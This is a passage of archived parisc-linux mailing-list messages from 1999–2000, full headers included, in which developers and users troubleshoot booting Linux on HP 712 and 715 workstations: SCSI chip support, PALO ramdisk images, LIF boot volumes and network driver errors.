In-Reply-To: <20000322170913.B11714@puffin.external.hp.com>; from Philipp Rumpf on Wed, Mar 22, 2000 at 05:09:13PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7084

On Wed, Mar 22, 2000 at 05:09:13PM -0700, Philipp Rumpf wrote:
> I don't know about the 715 scsi chip, the eisa slot, parallel;

the 715/old scsi chip is an ncr53c700.  everyone is too scared of it
right now.  the 715/new scsi chip is an ncr53c710 and Gyula Matics
committed code that should have that working.

> I don't think anyone has worked out how to use the LEDs yet.

If you look in the mach sources, flashing the LEDs is pretty
straightforward.


From - Thu Nov 08 21:12:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALO and ramdisk micro-howto
Date: Wed, 22 Mar 2000 22:02:29 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20000322220229.D10226@thepuffingroup.com>
References: <E12XSiA-00022u-00@endor.fc.hp.com> <200003222233.XAA11675@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618852 31627 80.91.229.3 (22 Nov 2014 01:14:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:12 +0000 (UTC)
Cc: Paul Bame <bame@endor.fc.hp.com>, parisc-linux@thepuffingroup.com
To: 5116@telia.com
Original-X-From: willy@thepuffingroup.com  Wed Mar 22 20:02:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA13294
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Mar 2000 20:02:30 -0700
Original-Received: (qmail 10142 invoked by uid 15267); 23 Mar 2000 02:04:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10127 invoked from network); 23 Mar 2000 02:04:03 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 23 Mar 2000 02:04:03 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id WAA11715;
	Wed, 22 Mar 2000 22:02:29 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200003222233.XAA11675@zaphod.halden.lillfab.se>; from 5116@telia.com on Wed, Mar 22, 2000 at 11:33:21PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7085

On Wed, Mar 22, 2000 at 11:33:21PM +0100, 5116@telia.com wrote:
> I tried this with my 715/50 and current CVS kernel and palo as of today.

> RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
> SCSI clock: 50000000
> Lasi Scsi (53c700) found at 0xf0825100
> scsi-ncr53c7xx : unsupported SCSI chip 700

hehehe... someone's going to have to fix that someday...

> scsi : 0 hosts.
> scsi : detected total.
> IP-Config: No network devices available.
> RAMDISK: ext2 filesystem found at block 0
> RAMDISK: Loading 600 blocks [1 disk] into ram disk... done. 
> kernel BUG at block_dev.c:411! 
> kernel BUG at block_dev.c:411!

those two are OK, they should disappear when we go to the latest Linus
tree.  What's happening at this point is that it's switching to serial
console.  You should be able to stay with PDC console for the time being,
though you can't use it as an input device, only output.  In the fullness
of time, we'll have a proper graphics console.  Stay tuned :-)


From - Thu Nov 08 21:12:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Any docs on the 715?
Date: Thu, 23 Mar 2000 08:13:27 +0100 (CET)
Lines: 18
Approved: news@gmane.org
Message-ID: <200003230713.IAA14887@zaphod.halden.lillfab.se>
References: <20000322170913.B11714@puffin.external.hp.com>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618852 31630 80.91.229.3 (22 Nov 2014 01:14:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@puffin.external.hp.com>
Original-X-From: danne@zaphod.halden.lillfab.se  Thu Mar 23 01:15:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA15215
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Mar 2000 01:15:01 -0700
Original-Received: (qmail 24171 invoked by uid 15267); 23 Mar 2000 07:16:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24112 invoked from network); 23 Mar 2000 07:16:22 -0000
Original-Received: from t5o70p17.telia.com (HELO zaphod.halden.lillfab.se) (root@195.67.239.17)
  by mailserv2.iuinc.com with SMTP; 23 Mar 2000 07:16:22 -0000
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id IAA14887;
	Thu, 23 Mar 2000 08:13:28 +0100
In-Reply-To: <20000322170913.B11714@puffin.external.hp.com>
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by puffin.external.hp.com id BAA15215
Xref: news.gmane.org gmane.linux.ports.parisc:7086

On 22 Mar, Philipp Rumpf wrote:
>> Are there any documents on the ASICs found in the 715 available? 
>> The stuff on the web page only seem the cover newer boxes.
> 
> There are two kinds of 715;  if you're lucky, you've got a "new" 715,
> which has (really, check the hardware database for details) Lasi and
> a PA7100LC, both documented, and undocumented graphics (all graphics
> is).  There is very little difference between such 715s and 712s.
I definitely have the older version. If I open the box I can find the I
ntel, NCR and WD chips and those would have been integrated in to the
LASI if had one.

/Daniel 

-- 
Daniel Engstrm - Lilla Fabriken AB - Technical Support
daniel@lillfab.se - Work related.  5116@telia.com - Private.


From - Thu Nov 08 21:12:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thierry SIMONNET" <t.simonnet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Eth0 trouble
Date: Thu, 23 Mar 2000 20:05:44 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <00ca01bf94fa$ca500580$0a14d793@esiee.fr>
References: <E12XSiA-00022u-00@endor.fc.hp.com> <200003222233.XAA11675@zaphod.halden.lillfab.se> <20000322220229.D10226@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618852 31633 80.91.229.3 (22 Nov 2014 01:14:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:12 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: t.simonnet@esiee.fr  Thu Mar 23 13:02:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA20808
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Mar 2000 13:02:56 -0700
Original-Received: (qmail 1604 invoked by uid 15267); 23 Mar 2000 19:04:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1586 invoked from network); 23 Mar 2000 19:04:29 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 23 Mar 2000 19:04:29 -0000
Original-Received: from venus (venus.esiee.fr [147.215.20.10])
	by mail.esiee.fr (Postfix) with SMTP id 1B6FA5735A
	for <parisc-linux@thepuffingroup.com>; Thu, 23 Mar 2000 20:04:28 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:7087

I have generated new lifimages with differents methods (ramdisk, nfsroot and
disk) using palo.
I have the following messages :
    eth0: receive unit error
    eth0: Null rbd - oops!
     eth0: receive unit error
    eth0: Null rbd - oops!
    eth0: receive unit error
    eth0: Null rbd - oops!
    eth0: receive unit error
    eth0: Null rbd - oops!
....

Before this messages, everything is OK. sash works fine, and I can execute
some test programs. After that, I lost LAN connectivity.

My config is  : 712/80 Workstation, with latest binutils, gcc, linux-2.3 and
palo.

Have an idea?

THX

Th. SIMONNET


From - Thu Nov 08 21:12:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jason@equator.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Boot #4 and source on ftp site
Date: Sat, 13 Mar 1999 15:33:18 -0800 (PST)
Lines: 41
Approved: news@gmane.org
Message-ID: <199903132333.PAA19874@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618852 31636 80.91.229.3 (22 Nov 2014 01:14:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:12 +0000 (UTC)
Cc: jason@gatekeeper.equator.com
To: hppa-linux@thepuffingroup.com
Original-X-From: jason@gatekeeper.equator.com  Sat Mar 13 18:33:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id SAA22887
	for <hppa-linux@sod.res.cmu.edu>; Sat, 13 Mar 1999 18:33:35 -0500
Original-Received: (qmail 11898 invoked by uid 15267); 13 Mar 1999 23:33:04 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 11891 invoked from network); 13 Mar 1999 23:33:04 -0000
Original-Received: from gatekeeper.equator.com (jason@204.137.130.1)
  by mailserv2.iuinc.com with SMTP; 13 Mar 1999 23:33:04 -0000
Original-Received: (from jason@localhost)
	by gatekeeper.equator.com (8.9.1a/8.9.1) id PAA19874;
	Sat, 13 Mar 1999 15:33:18 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:7088


> > 	So my question is how to place built "ipl" binary at the
> > 	appropriate place on the disk so that PDC finds it. Any magic
> > 	combination of commands ? Looks like I am missing something
> > 	obvious.
> > 
> > 
> > Thanks in advance,
> > 
> > -pkd
>
> You are on the right track.  After lifinit you have to use lifcp to copy
> the file into the newly created LIF volume.  You also have to give it
> the correct file type.  A script I use for creating bootable LIF
> volumes looks something like:
>

  That is one way. The way I do it for our very simple LIF volume is as folows:
  Once you have obtained the SOM ipl binary (after make), then:
   % strip ipl
   % mkipl ipl
   % mklifhdr hdr x y z a b c (see the utility for what these #'s mean)
   % cat hdr pad_file ipl vmlinux > bootstrap.bin

  pad_file is a 1024 byte file full of 0.

  I did forget to put this information into the README, sorry.
  Eventually (next few days, hopefully), there will be one utility "mkimg"
  that will automatically do everything above for you (particularly, picking
  the numbers which have to do with entry points, etc).
 
  Of course, vmlinux doesn't yet exist. I just have a simple dummy kernel
  I use there, which hasn't been included in the distribution. If you
  want to play around without the dummy kernel, just comment out the line
  in ipl_c.c that branches to the kernel and remove "vmlinux" from the
  concat line step above. You can then see the bootstrap run, but it won't
  try to execute the kernel.

  Have fun, Jason.



From - Thu Nov 08 21:12:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Success story on 715/33 and a question
Date: Fri, 24 Mar 2000 04:15:39 -0800 (PST)
Lines: 31
Approved: news@gmane.org
Message-ID: <20000324121539.21840.qmail@web502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618853 31638 80.91.229.3 (22 Nov 2014 01:14:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Fri Mar 24 06:14:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA28352
	for <parisc-linux@puffin.external.hp.com>; Fri, 24 Mar 2000 06:14:05 -0700
Original-Received: (qmail 11013 invoked by uid 15267); 24 Mar 2000 12:15:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11000 invoked from network); 24 Mar 2000 12:15:40 -0000
Original-Received: from web502.mail.yahoo.com (128.11.68.69)
  by mailserv2.iuinc.com with SMTP; 24 Mar 2000 12:15:40 -0000
Original-Received: (qmail 21841 invoked by uid 60001); 24 Mar 2000 12:15:39 -0000
Original-Received: from [149.234.12.1] by web502.mail.yahoo.com; Fri, 24 Mar 2000 04:15:39 PST
Xref: news.gmane.org gmane.linux.ports.parisc:7089

Hi all,

after Paul's latest changes to palo I was now also
able to boot a cross compiled ELF kernel + ramdisk on
my 715/33. Even my HIL keyboard is working again.
Super!

So now I am trying to do something useful :) with that
booted kernel. I would like to mount the proc
filesystem. I am using a very old ramdisk image
(19991108) because I had trouble with the newer images
on the 715/33 (no network driver).

-mount -t proc proc /proc
returns
mount failed: Function is not available

Is there a ramdisk image which I can use on a system
without a network driver ? Or do I need to compile
sash on HPUX as a SOM executable and build a ramdisk
image by myself ? Do I have to make any changes to
ftp://puffin.external.hp.com/pub/parisc/src/sash-2.1-hpux.tar.gz
?

Ulrich

__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com


From - Thu Nov 08 21:12:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Success story on 715/33 and a question
Date: Fri, 24 Mar 2000 06:31:05 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20000324063105.A28615@puffin.external.hp.com>
References: <20000324121539.21840.qmail@web502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618853 31640 80.91.229.3 (22 Nov 2014 01:14:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:13 +0000 (UTC)
To: Ulrich Strelow <ulrich_strelow@yahoo.com>, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Fri Mar 24 06:31:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA28768
	for <parisc-linux@puffin.external.hp.com>; Fri, 24 Mar 2000 06:31:26 -0700
Original-Received: (qmail 18049 invoked by uid 15267); 24 Mar 2000 12:33:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18033 invoked from network); 24 Mar 2000 12:33:01 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 24 Mar 2000 12:33:01 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id GAA28758;
	Fri, 24 Mar 2000 06:31:06 -0700
X-Mailer: Mutt 0.93.2
In-Reply-To: <20000324121539.21840.qmail@web502.mail.yahoo.com>; from Ulrich Strelow on Fri, Mar 24, 2000 at 04:15:39AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:7090

On Fri, Mar 24, 2000 at 04:15:39AM -0800, Ulrich Strelow wrote:
> So now I am trying to do something useful :) with that
> booted kernel. I would like to mount the proc
> filesystem. I am using a very old ramdisk image
> (19991108) because I had trouble with the newer images
> on the 715/33 (no network driver).

I've got a patch to get the 715/old i82596 going right here,
and i'm going to commit it once I am in FC;  my 715/33 starts
sash fine, Hil keyboard works well (including SysRq), nfsroot
works, the framebuffer works at 1bpp (1024x768), and the HIL
mouse generates recognizable data.  This is about what you
should expect when I got around to committing everything.

> Is there a ramdisk image which I can use on a system
> without a network driver ? Or do I need to compile
> sash on HPUX as a SOM executable and build a ramdisk
> image by myself ? Do I have to make any changes to
> ftp://puffin.external.hp.com/pub/parisc/src/sash-2.1-hpux.tar.gz
> ?

Try to move to nfsroot asap - it's easier.  glibc compiles a
(working libc.a) (again, this is only local changes - I'm sure
people will force me to commit everything in FC though), and
ELF binaries linked against it work, so we'll hopefully have an
ELF sash soon.

	Philipp Rumpf


From - Thu Nov 08 21:12:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paolo <postaip@libero.it>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floppy disk drive for hp  712/100
Date: Fri, 24 Mar 2000 22:20:47 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <38DBDC2F.61B809D9@libero.it>
References: <20000320150742.19786.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618853 31642 80.91.229.3 (22 Nov 2014 01:14:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:13 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: postaip@libero.it  Fri Mar 24 16:33:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA01903
	for <parisc-linux@puffin.external.hp.com>; Fri, 24 Mar 2000 16:33:26 -0700
Original-Received: (qmail 31271 invoked by uid 15267); 24 Mar 2000 22:18:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1832 invoked from network); 24 Mar 2000 21:21:37 -0000
Original-Received: from unknown (HELO router.postai.it) (root@151.26.251.205)
  by mailserv2.iuinc.com with SMTP; 24 Mar 2000 21:21:37 -0000
Original-Received: from libero.it (garfield.postai.it [192.168.1.2])
	by router.postai.it (8.8.7/8.8.7) with ESMTP id WAA00792
	for <parisc-linux@thepuffingroup.com>; Fri, 24 Mar 2000 22:10:12 +0100
Original-Sender: paolo@router.postai.it
X-Mailer: Mozilla 4.08 [en] (X11; I; HP-UX B.10.01 9000/712)
Xref: news.gmane.org gmane.linux.ports.parisc:7091

T.J.Yang wrote:
> 
> Another question for my 712/100 wks.
> I am thinking of putting a floppy disk drive into the
> empty seond bay. The ioscan output strongly indicate
> the floppy disk is a reqular PC floppy drive.
> 
> on the hp mother board, the floppy disk connetion cable
> looks alright with the pc one but the power cable is
> different. It only has two wires while the PC one has
> four. (That is why it is imporatent to locate the
> 712/100 owner's/technical manual).
> 
> I don't have the multimeter with me now to check on the
> voltage.
> 
> Perhaps someone done this before can help me out.
> 
> Thanks again
> 
> tj
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

Pc floppy-drive use only +5V, so it's enough two wires.
+12V is unused, but present for other peripherals.

-- 
Postai Paolo. Modena, Italy
<paolopos@lica.unimo.it>
Key fingerprint = E8 5A 33 C8 45 1B 76 6C  D2 95 51 E1 AD 27 D0 90
Pgp Key = <http://www.lica.unimo.it/~paolopos/public_key_PGP.asc>


From - Thu Nov 08 21:12:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Success story on 715/33 and a question
Date: Sat, 25 Mar 2000 04:06:55 -0800 (PST)
Lines: 43
Approved: news@gmane.org
Message-ID: <20000325120655.5213.qmail@web506.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618854 31647 80.91.229.3 (22 Nov 2014 01:14:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Sat Mar 25 06:05:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA07401
	for <parisc-linux@puffin.external.hp.com>; Sat, 25 Mar 2000 06:05:20 -0700
Original-Received: (qmail 30536 invoked by uid 15267); 25 Mar 2000 12:06:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30529 invoked from network); 25 Mar 2000 12:06:56 -0000
Original-Received: from web506.mail.yahoo.com (128.11.68.73)
  by mailserv2.iuinc.com with SMTP; 25 Mar 2000 12:06:56 -0000
Original-Received: (qmail 5214 invoked by uid 60001); 25 Mar 2000 12:06:55 -0000
Original-Received: from [149.234.12.1] by web506.mail.yahoo.com; Sat, 25 Mar 2000 04:06:55 PST
Xref: news.gmane.org gmane.linux.ports.parisc:7092

--- Ulrich Strelow <ulrich_strelow@yahoo.com> wrote:
> 
> Is there a ramdisk image which I can use on a system
> without a network driver ? ...

OK, this was a really stupid question, I must admit. I
simply forget that it now only takes some minutes (in
this case seconds) to build a new lifimage and test
it.

So here are the results of testing the various ramdisk
images at
ftp://puffin.external.hp.com/pub/parisc/binaries/ramdisks/
on my 715/33:

Version       sash prompt      mount -t proc proc
/proc
-------------------------------------------------------
19991108      yes              does not work
20000118      yes              works with error
message
20000118a     no               -
20000129      no               -
20000217      yes              works

Version 20000118a hangs after the message "No such
device" because of a missing network driver, Version
20000129 ends with a kernel protection fault.

Maybe these results are of some interest to people
with older machines.

Thanks to Philipp for his quick reply about the
forthcoming improvements for 715/old (that's a good
model name !).

Ulrich  

__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com


From - Thu Nov 08 21:12:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Success story on 715/33 and a question
Date: Sat, 25 Mar 2000 13:29:26 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <E12YxBW-0001ge-00@endor.fc.hp.com>
References: <20000324121539.21840.qmail@web502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618854 31648 80.91.229.3 (22 Nov 2014 01:14:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Strelow <ulrich_strelow@yahoo.com>
Original-X-From: bame@endor.fc.hp.com  Sat Mar 25 14:30:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA09996
	for <parisc-linux@puffin.external.hp.com>; Sat, 25 Mar 2000 14:30:34 -0700
Original-Received: (qmail 6264 invoked by uid 15267); 25 Mar 2000 20:32:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6247 invoked from network); 25 Mar 2000 20:32:11 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 25 Mar 2000 20:32:11 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by palrel3.hp.com (Postfix) with ESMTP
	id 51193294; Sat, 25 Mar 2000 12:32:10 -0800 (PST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12YxBW-0001ge-00; Sat, 25 Mar 2000 13:29:26 -0700
In-reply-to: Your message of "Fri, 24 Mar 2000 04:15:39 PST."
             <20000324121539.21840.qmail@web502.mail.yahoo.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7093

= 
= So now I am trying to do something useful :) with that
= booted kernel. I would like to mount the proc
= filesystem. I am using a very old ramdisk image
= (19991108) because I had trouble with the newer images
= on the 715/33 (no network driver).

You might want to remove bootp, nfs root, and the network
drivers from your .config.

	-Paul Bame


From - Thu Nov 08 21:12:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Brancato <funnyguy@digitalsmackdown.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc 2.9
Date: Sat, 25 Mar 2000 22:10:52 -0500 (EST)
Lines: 7
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10003252208590.28525-100000@morph.net>
References: <E12YxBW-0001ge-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618854 31649 80.91.229.3 (22 Nov 2014 01:14:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: funnyguy@digitalsmackdown.net  Sat Mar 25 21:12:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA11607
	for <parisc-linux@puffin.external.hp.com>; Sat, 25 Mar 2000 21:12:18 -0700
Original-Received: (qmail 20340 invoked by uid 15267); 26 Mar 2000 03:13:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20329 invoked from network); 26 Mar 2000 03:13:43 -0000
Original-Received: from unknown (HELO morph.net) (root@128.163.241.46)
  by mailserv2.iuinc.com with SMTP; 26 Mar 2000 03:13:43 -0000
Original-Received: from localhost (funnyguy@localhost)
	by morph.net (8.9.3/8.9.3) with ESMTP id WAA28536
	for <parisc-linux@thepuffingroup.com>; Sat, 25 Mar 2000 22:10:52 -0500
X-Authentication-Warning: morph.net: funnyguy owned process doing -bs
X-Sender: funnyguy@morph.net
In-Reply-To: <E12YxBW-0001ge-00@endor.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7094

I'm new to puffin.  I tried following the instruction on the webpage for
compiling gcc, but I can't get any version to compile.  With any version,
they all gave me different errors.  I tried building the cross-compiler on
my x86 machine too, and got the same errors.

mike


From - Thu Nov 08 21:12:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bas Valkema" <b_valkema@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Couple of questions
Date: Sun, 26 Mar 2000 14:17:01 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <20000326122048.75837.qmail@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0009_01BF972D.F42E9800"
X-Trace: ger.gmane.org 1416618855 31651 80.91.229.3 (22 Nov 2014 01:14:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:15 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: b_valkema@hotmail.com  Sun Mar 26 06:19:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA15488
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Mar 2000 06:19:41 -0700
Original-Received: (qmail 16168 invoked by uid 15267); 26 Mar 2000 12:21:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16161 invoked from network); 26 Mar 2000 12:21:15 -0000
Original-Received: from law2-oe15.hotmail.com (HELO hotmail.com) (216.32.180.119)
  by mailserv2.iuinc.com with SMTP; 26 Mar 2000 12:21:15 -0000
Original-Received: (qmail 75838 invoked by uid 65534); 26 Mar 2000 12:20:48 -0000
X-Originating-IP: [212.189.165.106]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
